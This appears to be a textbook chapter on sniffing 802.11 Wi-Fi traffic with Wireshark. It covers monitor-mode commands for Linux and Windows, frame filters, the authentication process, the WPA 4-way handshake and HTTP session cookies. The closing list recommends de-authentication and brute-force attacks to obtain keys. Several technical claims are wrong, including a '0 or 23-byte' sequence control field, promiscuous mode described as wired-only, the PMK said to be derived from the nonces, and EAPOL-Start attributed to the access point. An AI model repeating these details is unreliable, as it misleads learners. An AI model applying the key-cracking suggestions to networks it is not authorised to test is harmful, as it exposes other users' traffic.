Wireless clients: These are the devices that connect to the network  through  the  AP.  Wireless  clients  can  be  laptops, smartphones,  tablets,  smart  home  devices,  and  other devices  with  a  wireless  network  adapter.  The  wireless client  has  a  wireless  network  adapter  with  a  radio transceiver  and  an  antenna  that  is  used  to  receive  the signal from the AP and communicate with it.

Network Interface Card (NIC): This is the component in a device that allows it to connect to a wireless network. The NIC  is  a  hardware  device  that  contains  the  radio transceiver  and  antenna,  as  well  as  other  components necessary for wireless communication. It is responsible for transmitting and receiving data between the device and the AP.

Wireless  router:  A  wireless  router  combines  the functionality  of  an  AP  and  a  router,  allowing  multiple wireless  clients  to  connect  to  a  single  network  and  access the  internet.  The  router  has  a  wired  connection  to  the internet,  as  well  as  a  wireless  radio  transceiver  and antenna that are used to broadcast the wireless signal. The router also has routing capabilities that allow it to forward data between the wireless clients and the internet.

Wireless network adapters: These devices can be added to  a  computer  or  other  device  to  enable  it  to  connect  to  a wireless network. The network adapter has a wireless radio transceiver  and  antenna,  as  well  as  other  components necessary  for  wireless  communication.  The  network adapter  is  responsible  for  transmitting  and  receiving  data between the device and the AP.

In an 802.11 wireless network, the communication between the various components takes place over the air using radio waves to transmit data. The AP and wireless clients use a specific frequency and protocol to communicate, and the data is encrypted to ensure it is secure and confidential. The 802.11 standard defines several different frequencies and protocols, including 802.11a, 802.11b, 802.11g, 802.11n, and 802.11ac, each with its own capabilities and specifications.

 

802.11 packet structure

The main difference between wired and wireless packets is the addition of an 802.11 header in wireless packets, which provides information about the type of frame being transmitted and its destination.

Figure 4.1 shows the breakdown of each field in the 802.11 packet structure:
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Figure 4.1: 802.11 packet structure

Frame  control:  This  2-byte  field  contains  information about the type of frame being transmitted, its subtype, and other control information such as power management, data rate,  and  fragmentation.  The  first  2  bits  of  this  field indicate  the  frame  type,  which  can  be  management, control, or data. The next 4 bits indicate the subtype of the frame,  which  further  categorizes  the  frame  type.  The

remaining  bits  contain  control  information  specific  to  the frame type and subtype.

Duration/ID: This  2-byte  field  indicates  how  long  the wireless  medium  will  be  reserved  for  the  transmission  of the frame. It can be used for both inter-frame spacing and contention-based access methods.

Address 1, 2, and 3: These 6-byte fields contain the MAC addresses  of  the  destination  device,  source  device,  and access point (if applicable), respectively.

Sequence  control:  This  0  or  23-byte  field  is  used  to indicate the sequence number of the packet, as well as the fragmentation sequence number if the packet is fragmented.

Address  4: This  6-byte  field  is  present  in  certain  frame types, such as management frames used for authentication and  association,  and  is  used  to  indicate  the  address  of  a secondary station, such as a client or repeater.

QoS  control:  This  2-byte  field  is  only  present  in  certain frame  types,  such  as  data  frames  with Quality  of  Service (QoS)  enabled,  and  is  used  to  indicate  the  priority  of  the frame and the number of fragments it contains.

HT  control:  This  4-byte  field  is  only  present  in  certain frame  types,  such  as  data  frames  that  use High Throughput  (HT)  mode,  and  is  used  to  indicate  the Modulation  and  Coding  Scheme  (MCS)  index,  the spatial streams, and the channel width.

Frame body: This field contains the transmitted data, such as an IP packet or a Wi-Fi beacon.

FCS: This 4-byte field is used to verify the packet's integrity and  detect  any  transmission  errors.  It  is  generated  by  the sender  and  verified  by  the  receiver.  If  the  FCS  does  not match the computed value, the packet is discarded.

Understanding the 802.11 packet structure is important for analyzing and troubleshooting Wi-Fi networks, as it provides insight into how frames are transmitted and how devices communicate over the wireless medium.

As for the three major 802.11 frame types, they are:

Management  frames:  Management  frames  are  used  for network    management    tasks    such    as    association, authentication,  and  disassociation.  They  help  to  establish and  maintain  connections  between  devices  in  a  wireless network.  Examples  of  management  frames  include Association     Request,     Association    Response,    and Authentication.

Control  frames:  These  frames  are  used  for  flow  control and  power  management.  Control  frames  regulate  the  flow of  data  in  a  wireless  network  and  manage  the  power consumption  of  wireless  devices.  Examples  of  control frames  include Power  Save  (PS)  Poll, Request  to  Send (RTS), and Clear to Send (CTS).

Data  frames:  These  frames  are  used  to  transfer  data between network devices. Data frames are used to transmit the  actual  data  being  exchanged  between  devices  in  a wireless  network.  Examples  of  data  frames  include  Data and Null Data.

It is important to note that each of these frame types has a distinct structure and serves a specific purpose in the functioning of a wireless network.

 

Wireless card modes

Before starting to sniff wireless packets, we must understand the different modes in which a wireless card can operate as it pertains to packet capture. Generally, there are four modes available for a wireless network interface card (NIC) in a wireless network:

Managed mode:  This  is  the  normal  operating  mode  for  a wireless  NIC  in  which  the  device  is  associated  with  an access point and is able to communicate with other devices in  the  network.  In  managed  mode,  the  wireless  NIC

operates  within  the  constraints  of  the  network  and  is limited in its ability to capture and transmit wireless traffic.

Refer to Figure 4.2:
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Figure 4.2: Wireless card managed mode

Monitor  mode:  This  mode  allows  a  wireless  NIC  to capture  all  wireless  traffic  within  its  range,  regardless  of whether it is intended for the device. In monitor mode, the wireless  NIC  operates  as  a  passive  listener,  capturing  all wireless traffic transmitted within its range. It is often used for  wireless  packet  sniffing  and  analysis,  as  it  provides access to a complete and unfiltered view of wireless traffic.

Refer to Figure 4.3:
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Figure 4.3: Wireless card monitor mode

Master mode:  This  mode  allows  a  wireless  NIC  to  act  as an access point, allowing other wireless devices to connect

and  communicate.  In  master  mode,  the  wireless  NIC  is responsible  for  managing  the  wireless  network  and

controlling access to the network. Refer to Figure 4.4:
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Figure 4.4: Wireless card master mode

Ad-hoc  mode:  This  mode  allows  wireless  devices  to communicate directly with each other without the use of an access  point.  In  ad-hoc  mode,  the  wireless  NICs  form  a peer-to-peer  network  and  are  responsible  for  directly

transmitting data to each other. Refer to Figure 4.5:
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Figure 4.5: Wireless card ad-hoc mode

Note: It is important to note that the availability and implementation of these modes can vary depending on the specific hardware and operating system being used. Some wireless NICs may only support a subset of these modes, while others may have additional modes of operation.

 

Additionally, some wireless cards support a promiscuous mode, which allows them to capture all traffic on the network, not just traffic intended for their MAC address. This mode can be useful for network monitoring and packet sniffing, but it can also be used for malicious purposes.

Let us look at the difference between monitor mode and promiscuous mode.

 

Difference between monitor mode and promiscuous

mode

Monitor mode and promiscuous mode are two different operating modes for network adapters in a computer. These modes determine the way in which the network adapter captures and filters network traffic.

Monitor mode is a mode that is specific to wireless networks and allows the network adapter to capture all packets transmitted over the air, regardless of whether the packets are intended for the host or not. This mode is also known as Radio Frequency Monitor (RFMON) mode. In Monitor mode, the network adapter captures all packets transmitted over the air, including management frames, control frames, and data frames. This mode is useful for network analysis and troubleshooting, as it provides a complete view of the wireless network traffic.

To set up Monitor mode in Wireshark, the user needs to have a wireless network adapter that supports this mode. The user must then configure the adapter to operate in Monitor mode using the appropriate tools or drivers. Once the adapter is in Monitor mode, Wireshark can capture and analyse the wireless network traffic.

Promiscuous mode, on the other hand, is a feature that is commonly found in wired network adapters. In Promiscuous mode, the network adapter captures all packets that are transmitted on the network, regardless of whether they are intended for the host or not. Unlike Monitor mode, Promiscuous mode only works on wired networks and is not applicable to wireless networks.

To set up Promiscuous mode in Wireshark, the user needs to have a wired network adapter that supports this mode. The user must then configure the adapter to operate in Promiscuous mode using the appropriate tools or drivers. Once the adapter is in Promiscuous mode, Wireshark can capture and analyze the wired network traffic.

Enabling monitor mode may be operating system and network adapter dependent, but it typically requires specific configuration steps. For example, some platforms, such as FreeBSD, allow you to capture all types of 802.11 traffic without putting the adapter into monitor mode by selecting an 802.11 link-layer header type when capturing. However, this method may not show both incoming and outgoing traffic. On other platforms, such as Windows, monitor mode is enabled by downloading and installing special drivers for the network adapter, which allows the adapter to capture all types of network traffic.

 

WLAN capture setup

To capture WLAN packets, you will need:

Computer  and  wireless  adapter:  In  order  to  capture WLAN  packets,  you  need  a  computer  or  device  with  a wireless  adapter  that  supports monitor  mode.  This  mode allows  the  adapter  to  receive  all  packets  transmitted  over the air, not just those intended for the device.

Packet  sniffing  tool:  Once  you  have  a  computer  and adapter  capable  of  capturing  packets,  you  will  need  a packet sniffing tool to display and analyze the packets, like Wireshark. This tool provides a graphical user interface for viewing  and  analysing  packets  in  real-time  and  can  also save captured packets for offline analysis.

Wireless  access  point:  To  capture  WLAN  packets,  you will need a wireless network to capture packets from. This can be an existing network you have access to, or  you can set  up  your  own  network  using  a  wireless  access  point  or router.  When  you  set  up  your  own  network,  you  can configure    the    network    settings    to    your    desired specifications  and  ensure  you  capture  the  packets  you  are interested in.

Once you have these components, you can put your wireless adapter into monitor mode and start the packet sniffing tool. You will then see the raw data being transmitted over the WLAN, including information such as MAC addresses, IP addresses, and payload data. With this information, you can analyze network traffic, troubleshoot network issues, and improve network security.

 

Enabling monitor mode in Linux

To enable monitor mode on a wireless interface in Linux, you can use the iw command in combination with the ip command. Here is the general procedure:

1. Check the name of the wireless interface:

sudo iw dev

This will list all the available wireless interfaces.

2. Put the interface into monitor mode:

Replace wlan0  with  the  name  of  your  wireless  interface

obtained in step 1.

sudo ip link set wlan0 down

sudo iw wlan0 set monitor control

sudo ip link set wlan0 up

3. Verify  that  the  interface  has  successfully  been  put  into

monitor mode:

sudo iw dev

Alternatively, if you want to use the iwconfig command, the process is similar:

1. Check the name of the wireless interface:

iwconfig

2. Put the wireless interface into monitor mode by entering the

following commands:

sudo ifconfig wlan0 down

sudo iwconfig wlan0 mode monitor

sudo ifconfig wlan0 up

Replace wlan0 with  the  name  of  your  wireless  interface

obtained from step 1.

3. Verify  that  the  wireless  interface  is  in  monitor  mode  by

using the following command:

iwconfig

 

Enabling monitor mode in Windows

If you run Wireshark, you will notice a Monitor Mode checkbox in the capture interface dialog for your Wi-Fi cards, as shown in

Figure 4.6. You can open that dialog from the main menu via Capture | Options or by pressing Ctrl+K. Unfortunately, even with npcap installed correctly, it does not seem to work if you click it because the check mark disappears again after a short moment.
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Figure 4.6: Wireshark capture options

Follow the steps below, to enable monitor mode on a wireless interface in Windows, by using the "wlanhelper" utility that is part of the npcap installation:

1. Open a command prompt as an administrator and navigate

to the directory C:\Windows\System32\npcap.

2. You can use the wlanhelper.exe tool to check which mode your

Wi-Fi card is in. By default, it should be in "Managed" mode,

which means it is ready for normal Wi-Fi connectivity.

3. To put it into monitor mode, use the following command:

wlanhelper.exe "Wi-Fi" mode monitor

Replace  "Wi-Fi"  with  the  name  of  your  network  card.  Refer

to Figure 4.7:
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Figure 4.7: Wlanhelper utility

4. Once  you  have  put  your  card  into  monitor  mode,  you  can

run  Wireshark  again  and  "turn  on"  monitor  mode  in  the

capture interface dialog, as shown in Figure 4.8:
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Figure 4.8: Wireshark capture options

Note: If you are unable to turn on monitor mode in Wireshark, one solution you could try is uninstalling both Wireshark and Npcap from your Windows machine and then reinstalling Wireshark, making sure to check the option "Support raw 802.11 traffic (and monitor mode) for wireless adapters"

during the installation process as shown in Figure 4.9. This will ensure that the necessary components for monitor mode support are included in the installation.
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Figure 4.9: Support raw 802.11 traffic (and monitor mode) for wireless adapters

 

Additionally, it is important to make sure that your wireless adapter supports monitor mode, as not all adapters do. If your adapter does support monitor mode, you may need to update its drivers to the latest version. If you are still unable to turn on monitor mode, you may need to try a different adapter or check with the manufacturer for any known issues or compatibility information.

 

Sniffing WLAN Network Traffic

Once you have enabled monitor mode on your wireless adapter in Windows or Linux, you can start sniffing WLAN network traffic. Wait for the packets to start appearing in the Wireshark Packet

List, as can be seen in Figure 4.10. You can then begin analyzing the network traffic.

[image: ]

 

Figure 4.10: Wireshark packet list pane

When sniffing WLAN network traffic in monitor mode, you will see various information in the Wireshark packet details pane, Refer

Figure 4.11.

The protocol section will typically show the 802.11 protocol, the wireless IEEE standard for WLAN communication. This section will show the type of frame being transmitted, such as a beacon frame, probe request frame, or probe response frame. It will give information about the MAC addresses of the sender and recipient, as well as any additional information included in the frame.

In the "Info" section of a frame, you may see information such as "Beacon," "Probe Request," or "Probe Response." These refer to the types of management frames that are being transmitted and can provide information about the wireless network, such as the network's SSID, channel, and security settings.

You may also see the "Radiotap Header" which provides information about the radio layer of the WLAN communication. This header includes information such as the channel frequency, signal strength, and data rate, which can be useful for understanding the performance and characteristics of the wireless network.
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Figure 4.11: Wireshark packet details pane

When a wireless adapter is in monitor mode, it is set to "receive-only mode," which means that it can only receive packets and cannot send any requests to the internet. This allows you to capture all wireless packets transmitted within the range of your adapter.

If you need to continue using the internet while sniffing WLAN network traffic, you can use two Wi-Fi adapters, one in monitor mode for capturing packets, and another one in managed mode for internet access.

Note: It is also important to note that after a reboot, the wireless interface will revert to Managed mode, so you will need to enable monitor mode again if you want to continue capturing wireless packets.

 

Wi-Fi sniffer: WPA/WPA2

PSK or EAP Analysis In the case of WPA/WPA2 with PSK or EAP, the 802.11 Sniffer Capture Analysis can be used to analyze the network traffic during the authentication and encryption. Wi-Fi Protected Access (WPA) and WPA2 are standards for securing wireless networks. WPA and WPA2 support two authentication methods: Pre-Shared Key (PSK) and Extensible Authentication Protocol (EAP).

The captured data can be used to verify that the authentication and encryption process is functioning correctly and identify potential security issues, such as man-in-the-middle attacks or unauthorized access attempts. For example, the captured data can be used to analyze the encryption method used for the authentication process, the format of the authentication request and response, and the validity of the credentials being used.

In the case of PSK, the captured data can be used to verify that the correct PSK is being used for the connection. In the case of EAP, the captured data can be used to verify the authenticity of the authentication server and the validity of the credentials being used.

By analyzing the sniffer capture data, one can gain insight into the 802.11 Client Authentication Process and observe the steps in establishing a secure connection between a client device and a wireless access point. This can be useful in diagnosing issues with the authentication process or in verifying that the authentication process is being carried out as expected.

 

802.11 Client Authentication Process

The 802.11 Client Authentication Process is a crucial step in establishing a secure connection between a client device and a wireless access point. This process involves several steps that ensure the client device and AP are both compatible and that the

client is authorized to access the network. Refer to Figure 4.12:
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Figure 4.12: 802.11 Client Authentication Process

Here is a detailed explanation of the 802.11 Client Authentication Process:

1. Beacon  frames:  Access  points  continuously  send  out

beacon  frames,  which  advertise  their  presence  and  the

wireless  network's Service  Set  Identifier  (SSID),  data

rates,  and  other  information.  These  beacon  frames  are

picked  up  by  nearby  client  devices  that  are  searching  for

available networks.

2. Probe  request  frames:  In  addition  to  the  information

provided  in  the  beacon  frame,  wireless  clients  also  use

other  management  frames,  such  as  the  probe  request  and

probe  response  frames,  to  gather  more  information  about

the network before connecting. The client device broadcasts

probe  request  frames  on  every  channel,  advertising  its

supported  data  rates  and  802.11  capabilities,  such  as

802.11n.  The  probe  request  frames  are  broadcast  to  all

access points within range.

3. Probe  response  frames:  Access  points  within  range

respond  with  probe  response  frames,  which  provide

information about the wireless network, including the SSID,

data rates, encryption types (if required), and other 802.11

capabilities of the access point.

4. Authentication  request:  Based  on  the  information

received from the probe response frames, the client device From the preceding packet capture, below is an example of a client authentication process.

decides which access point is the best for access and sends

an authentication request to that access point. If the access

point  accepts  the  authentication  request,  the  client  and

access point then engage in an association process, during

which the client establishes a link with the access point and

can start communicating on the network.

5. Authentication  response:  The  access  point  sends  an

authentication  response,  inviting  the  client  to  authenticate

to  the  SSID.  This  reply  includes  information  about  the

security  methods  used  by  the  network,  such  as  WPA  or

WPA2 with a PSK or an EAP.

6. Association request: Upon successful authentication, the

client  sends  an  association  request  frame  to  the  access

point.  The  association  request  includes  information  about

the client device's network settings, such as the supported

data rates and 802.11 capabilities.

7. Association  response:  The  access  point  replies  with  an

association response, granting network access to the client.

The  association  response  includes  a  success  message,

indicating that the client device is now authorized to access

the network.

8. Network access: The client device can now communicate

with  the  access  point  and  pass  traffic  over  the  wireless

network.

Note: It is important to note that the 802.11 Client Authentication Process may vary depending on the specific implementation and the security measures being used. For example, in the case of WPA and WPA2, the authentication process may involve the use of an authentication server, such as a RADIUS server, or the use of PSK.

 

As discussed in the 802.11 packet structure section, there are three types of frames (management, control, and data) used in 802.11 MAC layer communications that take place over the air to manage and regulate the wireless network. The sections that follow look into those frames using the above-mentioned packet capture.

1. The beacon frame  is  a  management  frame  in  the  802.11

wireless networking protocol. It is transmitted by the access

point  regularly  to  announce  its  presence  and  provide

information  about  the  network  to  any  nearby  wireless

clients. The beacon frame includes information such as the

network  name  (SSID),  the  supported  data  rates,  the

network's  security  methods  (such  as  WEP,  WPA,  or  WPA2),

the channel number, and the access point's Basic Service

Set Identifier (BSSID).

To  filter  beacon  frames  in  Wireshark,  use  the  filter

expression wlan.fc.type_subtype==8.  This  will  display  only

beacon  frames  in  the  captured  packets  as  shown  in Figure

4.13:
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Figure 4.13: Wireshark Capture of Wi-Fi Beacon Frames

2. STA (station) sends a probe request to the AP to acquire

information (Access Point). To filter probe request frames in

Wireshark,  use  the  filter  expression wlan.fc.type_subtype==4.

This  will  show  only  probe  request  frames  in  the  packet

capture as shown in Figure 4.14:
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Figure 4.14: Wireshark Capture of Wi-Fi Probe Request Frames

 

3. When  an  access  point  receives  a  probe  request  frame,  it

responds  with  a probe  response  frame.  The  probe

response contains information about the access point, such

as  its  SSID,  supported  data  rates,  and  security  settings.  To

filter  probe  response  frames  in  Wireshark,  use  the  filter

expression wlan.fc.type_subtype==5.  This  will  show  only  probe

response frames in the packet capture. Refer to Figure 4.15:
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Figure 4.15: Wireshark Capture of Wi-Fi Probe Response Frames

4. 802.11 authentication is the process by which an access

point admits or rejects a radio NIC's identification. The NIC

starts  the  procedure  by  delivering  an  authentication  frame

to the access point that contains its identification. The radio

NIC  delivers  only  one  authentication  frame  with  open

system  authentication  (the  default),  and  the  access  point

replies  with  an  authentication  frame  as  a  response

confirming approval (or rejection).

To  filter  authentication  frames  in  Wireshark,  use  the  filter

expression wlan.fc.type_subtype==11.  This  will  show  only

authentication frames in the packet capture. Refer to Figure

4.16:
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Figure 4.16: Wireshark Capture of Wi-Fi Authentication Frames

5. The association  of  an  802.11  access  point  allows  it  to

assign  resources  to  and  synchronize  with  a  radio  NIC.  The

association  procedure  is  initiated  by  a  NIC  submitting  an

association request to an access point.

The  association  request  contains  information  about  the

client,  such  as  its  data  rates  and  SSID  of  the  network  it

wants  to  connect  to.  To  filter  association  request  frames  in

Wireshark,  use  the  filter  expression wlan.fc.type_subtype==0.

This will show only association request frames in the packet

capture. Refer to Figure 4.17:
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Figure 4.17: Wireshark Capture of Wi-Fi Probe Request Frames

6. When  the  access  point  receives  an  association  request

frame, it sends an association response frame to confirm or

reject  the  association.  The association  response  frame

contains  information  about  the  access  point,  such  as  the

supported  data  rates  and  the  association  ID.  To  filter

association  response  frames  in  Wireshark,  use  the  filter

expression wlan.fc.type_subtype==1.  This  will  show  only

association response frames in the packet capture. Refer to

Figure 4.18:
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Figure 4.18: Wireshark Capture of Wi-Fi Association Response Frames

The 4-way handshake is used in both PSK (WPA-Personal) and 802.1x (WPA2-Enterprise) configured SSIDs to establish a secure connection between the access point and the wireless client. It is a process of exchanging four packets that generates encryption keys used to encrypt data over the wireless medium.

The key exchange process happens after a wireless client has been authenticated and associated with the access point. After the completion of the key exchange, the control frames are used to transmit data securely over the wireless network. The control frames use the encryption keys generated during the 4-way handshake to provide confidentiality and integrity protection to the wireless network traffic.

During the 4-way handshake, the AP and the STA exchange authentication frames containing Nonces, and use the PSK as a pairwise master key (PMK) to generate the pairwise transient key (PTK) which is then used to encrypt the data between the AP and the STA. The AP also sends a group key (GTK) with a sequence number for future use in broadcast/multicast frames. Once the STA acknowledges the reception of the GTK, the data is sent encrypted using the PTK. Here is a step-by-step breakdown of the 4-way handshake:

1. AP  sends  802.1x  authentication  frame  with  ANonce

(Authenticator  Nonce):  The ANonce  (AP  nonce)  is  a

random value generated by the AP or authenticator. It is a

32-byte (256-bit) random number that is used in the 4-way

handshake process. The AP sends an EAPOL-Start frame to

initiate  the  authentication  process.  The  STA  responds  with

an EAPOL-Identity frame containing its identity. The AP then

sends  an  EAPOL-Challenge  frame  containing  a  randomly

generated ANonce to the STA, as shown in Figure 4.19.

In  the  filter  box,  type "eapol".  This  will  filter  the  captured

frames to show only those that contain EAPOL packets.
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Figure 4.19: AP sends 802.1x authentication frame with ANonce

2. STA responds with 802.1x authentication frame with

Supplicant  Nonce  (SNonce)  and  MIC:  The  SNonce  is  a

random value generated by the supplicant (the client). Like

the  ANonce,  it  is  a  32-byte  (256-bit)  random  number.  The

STA generates its nonce (SNonce) and combines it with the

ANonce received from the AP to create a PMK. The STA then

sends an EAPOL-Response frame containing the SNonce and

a Message Integrity Code (MIC)  that  is  generated  using

the  PMK,  as  can  be  seen  in Figure  4.20.  This  verifies  the

identity of the STA to the AP.
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Figure 4.20: STA responds with 802.1x authentication frame with SNonce and

MIC

3. AP  constructs  802.1x  frame  with  new  MIC  and  GTK

with  sequence  number: The  AP  also  generates  the  PMK

using  the  ANonce  and  SNonce,  and  then  calculates  a  new

MIC to verify the identity of the AP to the STA. The AP then

sends  an  EAPOL-Response  frame  containing  the  new  MIC

and a Group Temporal Key (GTK) along with a sequence

number,  Refer Figure  4.21.  The  GTK  is  used  to  encrypt

broadcast and multicast frames.
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Figure 4.21: AP constructs 802.1x frame with new MIC and GTK with

sequence number

4. STA sends ACK: The STA verifies the new MIC sent by the

AP  and  sends  an  EAPOL-Response  frame  with  an

acknowledgement (ACK) to confirm that the handshake is

complete. Refer to Figure 4.22:
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Figure 4.22: STA sends ACK

 

Once the 4-way handshake is complete, the AP and the STA

both  have  the  PMK  and  can  derive  the  PTK  that  is  used  to

encrypt  the  data  between  them.  The  PTK  is  derived  from

the PMK, the ANonce, the SNonce, the MAC addresses of the

AP  and  the  STA,  and  other  parameters.  The  PTK  is  used  to

encrypt all data frames exchanged between the AP and the

STA.

 

802.11 Sniffer Capture Analysis: Multicast

In the case of multicast, the 802.11 Sniffer Capture Analysis can be used to analyze the network traffic during multicast transmission. Multicast is a communication method that allows a sender to send a single message to a group of recipients in a single transmission. This is in contrast to unicast, where a message is sent from one sender to one recipient, and broadcast, where a message is sent to all devices on a network.

The captured data can be used to verify that the multicast transmission is functioning correctly and identify potential issues, such as network congestion or dropped packets. For example, the captured data can be used to analyze the format of the multicast transmission, the size of the multicast group, and the rate of transmission.

Additionally, the 802.11 Sniffer Capture Analysis can be used to monitor the behavior of the multicast transmission and identify any security issues, such as unauthorized access attempts or eavesdropping.

Multicast is particularly useful in scenarios where many recipients need to receive the same information, such as in online video conferencing, online gaming, and Internet Protocol Television (IPTV) applications. By using multicast, the sender can reduce the amount of network traffic and avoid the overhead of sending separate messages to each recipient.

To capture multicast traffic, follow the steps below:

1. Open  Wireshark  and  select  the  network  adapter  that  you

have  connected  to  the  network  switch.  Once  you  have

selected  the  appropriate  network  adapter,  you  can  start

capturing  packets  by  clicking  on  the  Start  button  in

Wireshark.

2. You should see some activity on the network.

3. Filter  the  capture  network  traffic  to  only  show  multicast

packets,  as  shown  in Figure  4.23.  To  do  this,  enter

"ip.dst==224.0.0.0/4"  in  the  Wireshark  filter  field  and  press

"Enter".  This  filter  will  show  only  those  packets  sent  to  a

multicast address.
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Figure 4.23: Multicast packets in Wireshark

4. Observe  the  captured  network  traffic.  Once  you  have

applied the filter, you should see some network activity on

the  captured  network  traffic.  You  will  see  the  frames  that

have been sent to a multicast address.

5. Select the first frame and observe its packet details. To do

this,  simply  click  on  the  first  frame  in  the  capture  window.

You should see the packet details in the middle pane of the

Wireshark window.

6. Expand the Ethernet details to view the Ethernet frame. In

the  packet  details  pane,  you  should  see  the  Ethernet

details. By clicking on the arrow next to the Ethernet II field,

you can expand these details to see more information about

the Ethernet frame, as can be seen in Figure 4.24:
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Figure 4.24: Ethernet II field in Wireshark

7. Observe the destination address of the Ethernet frame. The

destination  address  of  the  Ethernet  frame  will  start  with

"01:00:5e",  which  is  the  Ethernet  multicast  address  for  IPv4.

This  address  indicates  that  the  frame  has  been  sent  to  a

multicast group.

8. Expand the IPv4 details to view the IP packet, as illustrated

in Figure  4.25.  In  the  packet  details  pane,  you  should  see

the  IPv4  details.  By  clicking  on  the  arrow  next  to  the

Internet  Protocol  Version  4  field,  you  can  expand  these

details to see more information about the IP packet.
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Figure 4.25: Internet Protocol Version 4 field in Wireshark

 

Observe the destination address of the IP packet. The destination address of the IP packet will be in the range of 224.0.0.0 to 239.255.255.255, which is the IPv4 multicast address range. If the traffic is SSDP or WS-Discovery traffic, it will most likely be addressed to 239.255.255.250.

Select additional frames and observe the Ethernet and IPv4 details. By selecting additional frames in the capture window, you can observe the Ethernet and IPv4 details for other packets sent to a multicast address. This can help you gain a better understanding of the characteristics and behavior of multicast traffic on your network.

 

802.11 Sniffer Capture Analysis: Web

authentication

In the case of web authentication, the 802.11 sniffer capture analysis can be used to analyze the network traffic during web authentication, which is the process of verifying the identity of a user accessing a web application or service. The sniffer capture can be used to monitor the exchange of information between the client device and the server during the authentication process. The captured data can be analyzed to determine if the authentication process functions correctly and identify potential security issues, such as man-in-the-middle attacks or unauthorized access attempts. For example, the captured data can be used to analyze the encryption method used for the authentication process, the format of the authentication request and response, and the validity of the credentials being used.

In this section, we will explain web authentication over the http protocol and how to capture them inside Wireshark.

Hypertext Transfer Protocol (HTTP) is a stateless protocol and does not provide any mechanism for maintaining the state of an authenticated user. To overcome this limitation, a commonly used technique is to use a session cookie to store a user's authentication information on the client side.

When a user logs into a web application, the server will return a session cookie containing a unique identifier, used to identify the user on subsequent requests. This cookie is typically stored in the browser's memory and sent to the server in subsequent requests.

Capturing web authentication data in Wireshark involves capturing network traffic and analyzing it. The first step is to set up Wireshark to capture network traffic on the interface that the browser is using to connect to the web server.

Once Wireshark captures traffic, log into the web application and perform any actions that will generate network traffic related to the authentication process. After the authentication process is complete, stop the capture in Wireshark and filter the captured traffic to show only HTTP traffic by using the "http" filter in the display filter bar.

In the HTTP traffic, look for requests and responses that contain

the session cookie, as shown in Figure 4.26. The cookie will be stored in the "Cookie" header in the HTTP request, and the server will return a new cookie in the "Set-Cookie" header in the HTTP response.
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Figure 4.26: HTTP traffic in Wireshark

Since HTTP does not provide any encryption for the data being transmitted between the client and server, it is vulnerable to eavesdropping and tampering by malicious actors with access to the network traffic.

One common solution to this problem is to use HTTPS instead of HTTP. HTTPS provides encryption for the data being transmitted and helps to protect sensitive information from being intercepted and misused. In the next chapter, we’ll see how Wireshark can analyze HTTPS traffic by capturing packets exchanged between a client and a server during an HTTPS session.

 

Challenges of sniffing 802.11 wireless networks

Sniffing on 802.11 wireless networks (WLAN) is not as straightforward as sniffing on wired networks, due to several limitations and challenges, such as:

Encryption: Most modern WLANs use encryption protocols (e.g.,  WPA2/WPA3)  to  protect  data  from  unauthorized access  and  modification.  Encryption  makes  it  difficult  to capture  and  decipher  network  traffic  without  the encryption  key,  which  is  usually  shared  only  between authorized  devices.  Sniffers  need  to  either  obtain  the

encryption key or break the encryption algorithm to access the data.

Ephemeral  keys:  Wireless  devices  often  use  short-lived session keys to encrypt each data packet, which are derived from  the  encryption  key  and  other  parameters.  These session  keys  change  frequently  and  are  not  transmitted over  the  air.  This  makes  it  challenging  to  decrypt  traffic even if the sniffer captures the packets, as it needs to know the session keys as well.

Channel  hopping:  WLANs  operate  on  multiple  channels within  a  frequency  band,  and  devices  can  switch  channels dynamically  to  avoid  interference  or  congestion.  This requires  sniffers  to  constantly  hop  channels  to  capture  all the  traffic  on  a  WLAN,  which  can  result  in  missed  data  or incomplete packets.

Hidden SSIDs: Some access points hide their SSID, which is the name of the WLAN, to prevent unauthorized devices from  joining  the  network.  Hidden  SSIDs  make  it  harder  to detect and connect to WLANs, as sniffers need to use other methods  (for  example,  passive  scanning  or  active  probing) to discover them.

Signal  range:  Signal  strength  and  range  limitations  may restrict  capturing  packets  from  a  distance,  requiring physical  proximity  to  the  source.  Sniffers  need  to  have  a strong  and  stable  wireless  connection  to  capture  packets reliably,  which  may  not  be  possible  in  some  environments or scenarios.

Packet  loss:  Wireless  networks  are  susceptible  to  packet loss  due  to  various  factors,  such  as  interference,  noise, collisions,  or  low  signal  quality.  Packet  loss  makes  it challenging to capture all the traffic on a WLAN, especially in  high-density  areas  where  many  devices  are  competing for the same channel.

Noise  and  interference:  Interference  from other electronic  devices  or  sources  can  impact  the  quality  of captured  data,  as  it  can  cause  distortion,  corruption,  or

errors  in  the  packets.  Sniffers  need  to  filter  out  the  noise and  interference  from  the  relevant  data,  which  can  be difficult or impossible in some cases.

Legal  and  ethical  considerations:  Sniffing  on  wireless networks  without  proper  authorization  may  violate  privacy and legal regulations, as it can expose sensitive or personal information  of  other  users  or  devices.  Sniffers  need  to follow  ethical  guidelines  and  obtain  consent  from  the network  owners  or  administrators  before  capturing  any data.

Protocol    complexity:    Capturing,    analyzing,    and decrypting  802.11  wireless  traffic  can  be  complex, requiring  in-depth  knowledge  of  wireless  protocols  and standards.  Sniffers  need  to  understand  the  structure, format,  and  meaning  of  each  packet  and  its  fields,  as  well as  the  encryption  and  authentication  mechanisms  used  by the WLAN.

Rogue  devices:  The  presence  of  rogue  or  unauthorized devices  can  further  complicate  monitoring  efforts,  as  they can  interfere  with  the  normal  operation  of  the  WLAN  or pose  security  threats.  Sniffers  need  to  identify  and  isolate rogue  devices  from  legitimate  ones,  which  can  be challenging or time-consuming.

To overcome these limitations and challenges, sniffers need to use appropriate hardware, software, and best practices while sniffing on 802.11 wireless networks. Some of these include:

Use  dedicated  wireless  adapters  or  cards  that  support monitor mode and promiscuous mode, which allow sniffers to  capture  all  the  traffic  on  a  WLAN  regardless  of  its destination or encryption status.

Use  specialized  software  tools  or  applications  that  can capture, analyze, and decrypt wireless traffic efficiently and effectively, such as Wireshark.

Use  directional  antennas  or  amplifiers  that  can  enhance signal  strength  and  range,  allowing  sniffers  to  capture

packets from a greater distance or in low-signal areas.

Use filters or masks that can reduce noise and interference from  irrelevant  sources  or  channels,  allowing  sniffers  to focus on the relevant data.

Use  ethical  hacking  techniques  that  can  obtain  encryption or  session  keys  from  authorized  devices  or  access  points, such as de-authentication attacks, or brute-force attacks.

Follow legal and ethical principles that respect the privacy and rights of other users or devices on the WLAN, such as obtaining  permission  from  the  network  owners  or administrators before sniffing any data.

